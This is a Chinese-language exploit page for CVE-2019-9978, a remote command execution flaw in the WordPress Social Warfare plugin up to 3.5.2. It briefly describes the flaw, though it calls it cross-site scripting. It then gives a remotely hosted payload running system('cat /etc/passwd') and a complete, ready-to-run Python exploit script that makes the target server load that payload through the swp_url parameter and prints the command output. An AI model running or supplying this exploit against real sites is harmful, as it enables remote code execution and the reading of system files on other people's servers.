（CVE-2019-9978）WordPress Plugin - social warfare 远程命令执行漏洞

一、漏洞简介

WordPress social-warfare插件3.5.3之前版本中存在跨站脚本漏洞。远程攻击者可借助'swp_url'参数利用该漏洞注入恶意的JavaScript脚本。

二、漏洞影响

Social WarFare Plugin (\<=3.5.2)

三、复现过程

poc

首先在自己的服务器上传http(s)://www.0-sec.org/payload.txt

<pre>system('cat /etc/passwd')</pre>

useage

 python cve-2019-9978.py --target http://vulntarget.com                              --payload-uri http://yourpayloadsite.com/payload.txt
# Title: RCE in Social Warfare Plugin ( <=3.5.2 )
# Date: March, 2019
# Researcher: Luka Sikic
# Exploit Author: hash3liZer
# Download Link: https://wordpress.org/plugins/social-warfare/
# Version: <= 3.5.2
# CVE: CVE-2019-9978

import sys
import requests
import re
import urlparse
import optparse

class EXPLOIT:

    VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"

    def __init__(self, _t, _p):
        self.target  = _t
        self.payload = _p

    def engage(self):
        uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )
        r = requests.get( uri )
        if r.status_code == 500:
            print "[*] Received Response From Server!"
            rr  = r.text
            obj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" ))
            if obj:
                resp = obj.groups()[0]
                if resp:
                    print "[<] Received: "
                    print resp.replace( "lnbreak", "\n" )
                else:
                    sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
            else:
                sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
        else:
            sys.exit( "[~] Unexpected Status Received!" )

def main():
    parser = optparse.OptionParser(  )

    parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )
    parser.add_option( ''  , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )

    (options, args) = parser.parse_args()

    print "[>] Sending Payload to System!"
    exploit = EXPLOIT( options.target, options.payload )
    exploit.engage()

if __name__ == "__main__":
    main()